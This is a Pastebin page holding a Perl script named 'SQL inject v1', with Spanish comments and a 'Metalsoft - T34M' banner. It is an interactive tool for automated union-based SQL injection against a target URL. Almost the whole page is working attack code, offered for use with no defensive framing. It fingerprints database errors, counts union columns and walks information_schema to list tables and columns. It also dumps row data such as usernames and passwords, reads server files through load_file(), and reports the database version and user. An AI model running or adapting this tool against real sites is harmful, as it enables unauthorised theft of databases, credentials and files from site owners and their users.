Advertisement
b4nz0k

SQL inject v1

Jul 15th, 2011
813
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 13.51 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  3. #
  4. #  Gr3Tz: p0fk || RS4 || Fail.Root || xDarkSt0n3x || L0c4lP0rT || R4f4
  5. #
  6. #  #asdasdasd
  7. #
  8. #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  9. #
  10. #
  11.  
  12. use HTTP::Request;
  13. use LWP::UserAgent;
  14. my $ua = LWP::UserAgent->new();
  15. my $browser = LWP::UserAgent->new();
  16.  
  17. $browser->default_header(
  18. "User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
  19. "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  20. "Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
  21. "Referer" => "http://www.google.com");
  22.  
  23. #ResolVemos el Path y el Host
  24. unless ($ARGV[0])
  25. {
  26. print "
  27.  
  28.     #   Metalsoft - T34M   #
  29.  
  30.      ..####....####...##......######.
  31.      .##......##..##..##........##...
  32.      ..####...##.###..##........##...
  33.      .....##..##..##..##........##...
  34.      ..####....#####..######..######.
  35.      ................................
  36.      Codeado: by R 0 0 t - M
  37.  
  38.      Modo de Uso:
  39.      perl sql.pl http://web.com/path/archivo.php?vuln=123
  40.  
  41. "; exit;
  42. }
  43.  
  44. $url = $ARGV[0];
  45. if ($url !~ /http/) { $url="http://".$url; }
  46. $host = &resolver_host();
  47.  
  48. sub resolver_host {
  49. @var1 = split(/http:\/\//,$url);
  50. @var2 = split(/\//,@var1[1]);
  51. $final = "@var2[0]";  return $final;  }
  52.  
  53. &muajaja;
  54. #--$$$$$$$$$$$$$$$$$$$$$$$$----
  55. sub muajaja {
  56. $la1=chop($url);
  57.  
  58. #print "$url\n";
  59. #print "$url_con\n";
  60. $la;
  61. $fjef;
  62. if ($la1 =~ /=/) { $url_con="sin"; $url=$ARGV[0]; }
  63. if ($la1 !~ /=/) {
  64. lol:
  65. if ($la1 !~ /=/) { $la1 = chop($url);
  66. goto lol; } $fjef = $url . "="; $url = $ARGV[0]; $url_con="con"; }
  67.  
  68. #   print "$url\n";
  69. #print "$fjef\n";
  70. }
  71. #Centro de Comandos
  72.  
  73. #    $table="";
  74. #    $data="";
  75.  
  76. &comprobar;
  77. inicio: print "MetalSoft" . '@' . "$host :[*] "; $comando=<STDIN>; chop($comando);
  78. @comand = &control_comando($comando);
  79.  
  80.       $comando1 = @comand[0];
  81.       $comando2 = @comand[1];
  82.       $comando3 = @comand[2];
  83.  
  84.     &comprobar_comando;
  85. #controles de Comando
  86. sub comprobar_comando {
  87. #print "$comando1\n$comando2\n$comando3\n";
  88.       if ($comando1 =~ /set/)
  89.         {
  90.             if ($comando2 eq "table") {    $table = $comando3;  goto inicio;    }
  91.  
  92.             if ($comando2 eq "union") { $nc=$comando3; print "\n"; goto inicio; }
  93.  
  94.             if ($comando2 eq "column") { $ee=$comando3; print "\n"; goto inicio; }
  95.             goto inicio;
  96.            
  97.         }
  98.  
  99.       if ($comando1 =~ /show/)
  100.         {
  101.             if ($comando2 =~ /columns/) { &show_columns_concat; goto inicio; }
  102.            
  103.             elsif ($comando2 =~ /table/) { &group_concat; goto inicio; }
  104.  
  105.               #else { print "[*] No es posible visualizar el campo\n"; goto inicio; }
  106.                
  107.             elsif ($comando2 =~ /data/) { $data = $comando3; &show_data; goto inicio; }
  108.  
  109.             elsif ($comando2 =~ /options/) { $data = $comando3; &show_options; goto inicio; }
  110.               print "[*] Visualice con show <option>\n[*] Para mas informacion consulte " . '"help"' . "\n"; goto inicio;
  111.         }
  112.  
  113.       if ($comando1 =~ /clear/) { system("cls"); system("clear"); print "\n"; goto inicio;  }
  114.       if ($comando1 =~ /info/)  { &sqlinfo;         }
  115.       if ($comando1 =~ /help/)  { &help;        }
  116.       if ($comando1 =~ /read/)  { &load_file;       }
  117.       if ($comando1 =~ /exit/)  { print "\n"; exit;     }
  118.  
  119.       else { print "[*] $comando1 No Es un Comando Soportado\n"; goto inicio; }
  120.  
  121.  }
  122.  
  123. sub control_comando{
  124. @control=split(/ /,$comando);
  125. return @control; }
  126.  
  127. #0000000000000000000000
  128.  
  129.  
  130. sub comprobar {
  131.  
  132. #-----------------
  133.  
  134. #-------------------
  135.  
  136.  
  137. $nc="+";
  138. $union  = $nc . "union" . $nc . "select" . $nc . "all" . $nc;
  139. $inject = "'";
  140.  
  141. $add = "+--+";
  142. $comprobar = $url . $inject;
  143.  
  144.  
  145.          my $request = $browser->get($comprobar);
  146.          my $content = $request->content;
  147.  
  148.  
  149.     #print "$comprobar\n";
  150.      
  151.            if ($content =~ m/You have an error in your SQL syntax/i
  152.         || $content =~ m/Query failed/i
  153.         || $content =~ m/SQL query failed/i
  154.         || $content =~ m/mysql_fetch_/i
  155.         || $content =~ m/supplied argument is not a valid MySQL/i
  156.         || $content =~ m/mysql_fetch_array/i
  157.         || $content =~ m/mysql_num_rows/i
  158.         || $content =~ m/The used SELECT statements have a different number of columns/i)
  159.  
  160.     { print "[*] MySQL Inject\n";  }
  161.  
  162.     elsif ($content =~ m/Microsoft JET Database/i || $content =~ m/ODBC Microsoft Access Driver/i )
  163.     { print "[*] Ms Acces Inject\n" }
  164.     elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
  165.     { print "[*] MsSQL Inject\n"; }
  166.  
  167.  
  168.     &sql_error_on_menos_uno;
  169.     &sql_error_on;
  170.  
  171.  
  172. print "[*] La Web no es Vulnerable\n";
  173. exit;
  174. }
  175.  
  176.  
  177.  
  178.   sub sql_error_on {
  179. print "[*] Probando con (and 1=0)\n";
  180.  
  181. if ($url_con eq "con") { $url = $ARGV[0]; } if ($url_con eq "sin") { $url = $url . "6"; }
  182.  
  183. $i=0;
  184.     while ($i<=50) {
  185.     $cont1.=','.$i;
  186.     $inject= $nc . "and" . $nc . "1=0" . $nc . "union" . $nc . "select". $nc;
  187.     $all.=','."0x4d6574616c536f6674";
  188.     if ($i == 1) { $cont1=''; $all=""; }
  189.  
  190.     $path= $url . $inject . "0x4d6574616c536f6674" . $all . $add;
  191.  
  192.          my $request = $browser->get($path);
  193.          my $content = $request->content;
  194. #      print "$path\n";
  195. #      print "$i\n";
  196.         if($content =~ /MetalSoft/)
  197.           { print "[*] La Injeccion Tiene [$i] Columnas \n"; $cont = "1" . $cont1;
  198. #       print "$cont\n";
  199.          } &tablas;
  200. #   else { $i=31; &sql_error_on_menos_uno; }
  201.      $i++;
  202.      }
  203.  }
  204.  
  205.   sub sql_error_on_menos_uno {
  206. print "[*] Probando con (-1)\n";
  207. if ($url_con eq "con") { $url = $fjef; }
  208. # print "$url\n";
  209.  
  210. $i=0;
  211.     while ($i<=50) {
  212.     $cont1.=','.$i;
  213.     $inject="-1" . $nc . "union" . $nc . "select". $nc;
  214.     $all.=','."0x4d6574616c536f6674";
  215.     if ($i == 1) { $cont1=''; $all=""; }
  216.  
  217.     $path= $url . $inject . "0x4d6574616c536f6674" . $all . $add;
  218.  
  219.          my $request = $browser->get($path);
  220.          my $content = $request->content;
  221. #      print "$path\n";
  222. #       print "$i\n";
  223.         if($content =~ /MetalSoft/)
  224.           { print "[*] La Injeccion Tiene [$i] Columnas \n"; $cont = "1" . $cont1;
  225.           next;
  226. #       print "$cont\n";
  227.             }
  228. #   else { $i=31; &sql_error_on_menos_uno; }
  229.         $i++;
  230.  
  231.       } &tablas;
  232.  }
  233.  
  234.  
  235.  
  236. sub tablas {
  237. for ($e=1 ; $e<=$i ; $e++) {
  238.  
  239.           $cont2=$cont;
  240.  
  241.           $cont2 =~ s /$e/0x4d6574616c536f6674/g;
  242.  
  243.           $path= $url . $inject . $cont2 . $add;
  244.  
  245. #      print "$path\n";
  246.  
  247.          my $request = $browser->get($path);
  248.          my $content = $request->content;
  249.     if ($content =~ /MetalSoft/)
  250.       {
  251. #      print "$path\n";
  252.         $ee=$e; $e=9999; print "[*] Injecciones posibles en el numero [$ee]\n";
  253.         print "\n";
  254.         goto inicio;
  255.       }
  256.  
  257. } }
  258. sub load_file {
  259.  
  260.  
  261.     $cont2=$cont;
  262.     $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,load_file($read_file),0x4d6574616c536f6674)/g;
  263.     $final= $url . $inject . $cont2 . $add;
  264.  
  265.  
  266. #        my $ua = LWP::UserAgent->new();
  267.          my $request = $browser->get($final);
  268.          my $content = $request->content;
  269.  
  270.     if ($content =~ /MetalSoft(.*)MetalSoft/)
  271.       {
  272.          print "\n\t[*]Archivo\n\n";
  273.          print "$1\n";
  274.       }
  275.  
  276. goto inicio;
  277.  }
  278. sub show_options {
  279.  
  280.     $cont2=$cont;
  281.  
  282.     $cont2 =~ s /$ee/user()/g;
  283.     $path= $inject . $cont2 . $add;
  284.  
  285.     print "Tabla:\t$table\n";
  286.     print "Union:\t$nc\n";
  287.     print "Path Vulnerable: $path\n";
  288.     print "Column Inject: $ee\n";
  289.     print "\n";
  290.  
  291.     #print "\n";
  292.     goto inicio;
  293.  
  294.  }
  295.  
  296. #SQL Info, Extrae la Informacion del Servidor en la injeccion sql
  297. sub sqlinfo{
  298.     $cont2=$cont;
  299.     $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,version(),0x4d6574616c536f6674,database(),0x4d6574616c536f6674,user(),0x4d6574616c536f6674)/g;
  300.     $final= $url . $inject . $cont2 . $add;
  301.  
  302.  
  303. #        my $ua = LWP::UserAgent->new();
  304.          my $request = $browser->get($final);
  305.          my $content = $request->content;
  306.  
  307.     if ($content =~ /MetalSoft(.*)MetalSoft(.*)MetalSoft(.*)MetalSoft/)
  308.          {
  309.          print "\n\t[*]Informacion de la Base de Datos...\n\n";
  310.          print "[*] DB Version  : $1\n";
  311.              print "[*] DB Nombre   : $2\n";                         
  312.              print "[*] DB Usuario  : $3\n"; print "\n"; goto inicio;
  313.  
  314.       } else { print "\n\t[* Error] No se pudo extraer la informacion.\n\n"; }
  315.  
  316. }
  317.  
  318. sub show_data {
  319.  
  320.  
  321.         print "[*] $table\n\n";
  322.  
  323.         @datas = split(/,/,$data); $data_num=0;
  324.           print "[ ||";
  325.         foreach $n (@datas)
  326.           {
  327.         print " $n || ";  $data_num++ ;
  328.           }
  329.           print "]\n\n";
  330.         foreach $n (@datas)
  331.           {
  332.             if ($n==0)  { $data2 = $data2 . "$n,0x207c7c20,";  }
  333.             else    { $data2 = $data2 . ",$n"."0x207c7c20 ";    }
  334.         } chop ($data2); print "\n";
  335.  
  336. #       print "$data2\n";
  337. #       exit;
  338.     $mas= "from" . $nc . $table;
  339.     $cont2=$cont;
  340.     $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,concat($data2),0x4d6574616c536f6674)/g;
  341.     $mas= $nc ."from" . $nc . $table;
  342.  
  343.         for ($o=0; $o<400; $o++) {
  344.        
  345.       $final = $url .$inject . $cont2 . $mas . $nc . "limit" . $nc . $o . ",1" . $add;
  346.       #      my $ua = LWP::UserAgent->new();
  347.               my $request = $ua->get($final);
  348.               my $content = $request->content;
  349. #          
  350. #       print "$final\n";
  351.  
  352.           if ($content =~ /MetalSoft(.*)MetalSoft/) {   print "[ || $1 ]\n";  }
  353.           else   {
  354.            
  355.             if ($o eq 1) { print "[*] Esta vacia la columna  O talvez... \n[*]No tiene Suficienter Permisos para ver esta tabla\n"; }
  356.             else  { print "\n"; $o=401; goto inicio;  }
  357.  
  358.              }
  359.                       }
  360.  
  361.  }
  362.  
  363. sub show_columns {
  364.  
  365.  
  366.  
  367.     $cont2=$cont;
  368.     $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,column_name,0x4d6574616c536f6674)/g;
  369.     $mas= $nc ."from" . $nc . "information_schema.columns" . $nc . "where" . $nc . "table_name=char(" . $table2 . ")" . $nc . "limit";
  370.    
  371.  
  372.  
  373.         for ($o=0; $o<400; $o++) {
  374.        
  375.       $final = $url .$inject . $cont2 . $mas . $nc . $o . ",1" . $add;
  376.       #      my $ua = LWP::UserAgent->new();
  377.               my $request = $browser->get($final);
  378.               my $content = $request->content;
  379. #     print "$final\n";
  380.  
  381.           if ($content =~ /MetalSoft(.*)MetalSoft/) {
  382.  
  383.         print "[ $table ] Columna [ $1 ]\n";
  384. #       @columnas_group_concat = split(/,/,$1);
  385. #       foreach $n (@columnas_group_concat) {
  386. #       print "[*][ $table ] Columna [ $n ]\n"; }
  387.  
  388.               }
  389.         else { goto &reinject; } } goto inicio;
  390.  
  391.  
  392.  }
  393. sub reinject {
  394.  
  395.  
  396.  
  397. }
  398.  
  399. sub show_columns_concat {
  400. unless($table) { print "[*] No tiene seleccionado ningun campo en la tabla\n[*] Asignar la tabla con:\t set table <tabla>\n\n"; goto inicio; }
  401.  
  402.     print "[*] Visualizando Columnas de [ $table ]\n\n";
  403.  
  404.       #Conver to ASCCI
  405.       @column_ascci=split (//,$table);
  406.       foreach $rt (@column_ascci) { $ascii = $ascii . ord($rt) . ","; }
  407.       chop ($ascii); $table2 = $ascii;
  408.  
  409.  
  410.  
  411.     $cont2=$cont;
  412.     $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,group_concat(column_name),0x4d6574616c536f6674)/g;
  413.     $mas= $nc ."from" . $nc . "information_schema.columns" . $nc . "where" . $nc . "table_name=char(" . $table2 . ")";
  414.    
  415.        
  416.       $final = $url .$inject . $cont2 . $mas . $add;
  417.       #      my $ua = LWP::UserAgent->new();
  418.               my $request = $browser->get($final);
  419.               my $content = $request->content;
  420.  
  421. #         print "$final\n";
  422. #exit;
  423.           if ($content =~ /MetalSoft(.*)MetalSoft/) {
  424.  
  425.  
  426. #       print "[ $table ] Columna [ $1 ]\n";
  427.         @columnas_group_concat = split(/,/,$1);
  428.         foreach $n (@columnas_group_concat) {
  429.         print "[*][ $table ] Columna [ $n ]\n"; }
  430.         print "\n";
  431.               }
  432.  
  433.         else { print "[*] Fallo al injectar (group_concat)\n[*] Intentando (limit)...\n"; &show_columns; }  goto inicio;
  434.  
  435.  
  436.  }
  437. sub tablas_search{
  438.  
  439.       $cont2=$cont;
  440.       $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,table_schema,0x4d6574616c536f6674,table_name,0x4d6574616c536f6674)/g;
  441.       $mas= $nc ."from" . $nc . "information_schema.tables" . $nc . "limit";
  442.       my @tablas=();
  443.       print "\n\t[*] Extrayendo Tablas... ]\n\n";
  444.       $o;
  445.       #$comp_db;
  446.       for ($o=0; $o<400; $o++) {
  447.  
  448.       $final = $url .$inject . $cont2 . $mas . $nc . $o . ",1" . $add;
  449.       #      my $ua = LWP::UserAgent->new();
  450.               my $request = $browser->get($final);
  451.               my $content = $request->content;
  452.  
  453.       #print "$final\n";
  454.       if ($content =~ /MetalSoft(.*)MetalSoft(.*)MetalSoft/) {
  455.  
  456.  
  457.       #if ($comp_db != $1) { print "\n\t[*] Database ł [ $1 ]\n\n"; }
  458.       #$comp_db = $1;
  459.  
  460.       print "[*]DB [$1] Tabla $o ł [ $2 ]\n";
  461.  
  462.       #print "$final\n";
  463.       } else { $o=400; print "[*] Tablas Extraidas\n";
  464. #     print "$final\n";
  465. }
  466.       } goto inicio;
  467. }
  468.  
  469. sub help {
  470. print "    ####Comandos Soportados####
  471.  
  472.   set   <opcion> <valor>
  473.      Asigna un valor a una variable
  474.  
  475.      table    (nombre de la tabla)
  476.      union    (tipo de unuin para la injeccion)
  477.           (+,/**/,\%20)
  478.      column   (Columna donde se injectara el code)
  479.  
  480.      examples set table users
  481.           set union /**/
  482.           set column 2
  483.  
  484.   show  <option>
  485.      Visualiza el campo seleccionado
  486.  
  487.      tables  [Visualiza las tablas]
  488.      columns [Visualiza las columnas
  489.           de la tabla seleccionada]
  490.      data    [Visualiza los datos de los campos]
  491.    
  492.     examples show tables
  493.          show columns
  494.          show data username,passwd
  495.  
  496.   info  Muestra la informacion de la Injeccion
  497.  
  498.  help  Consulta los comandos soportados
  499.  
  500.  clear Limpia la Pantalla
  501.  
  502.  exit  Salir de la Session
  503.  
  504. ";
  505. goto inicio;
  506.  }
  507.  
  508.  
  509. sub group_concat {
  510.  
  511.  
  512.     $cont2 = $cont;
  513.     $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,group_concat(table_name),0x4d6574616c536f6674)/g;
  514.     $mas= $nc . "from" . $nc . "information_schema.tables";
  515.  
  516.  
  517.     $final= $url . $inject .  $cont2 . $mas . $add;
  518.     #print "$final\n";
  519.     #        my $ua = LWP::UserAgent->new();
  520.           my $request = $browser->get($final);
  521.           my $content = $request->content;
  522.  
  523.  
  524.     if ($content =~  /MetalSoft(.*)MetalSoft/)
  525.       {     print "\n\t[*] Injectando tablas (group_concat) \n\n";
  526.  
  527.         @tablas_group_concat = split(/,/,$1);
  528.         foreach $n (@tablas_group_concat) {
  529.         print "[*] Tabla ł [ $n ]\n"; }
  530.  
  531.       }
  532.  
  533.     else { print "\t[*] Error al injectar (grup_concat).\n\t[*] Probando (limit)...\n"; &tablas_search; }
  534. print "\n"; goto inicio;
  535.           }
  536.  
  537.  
  538. print "\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement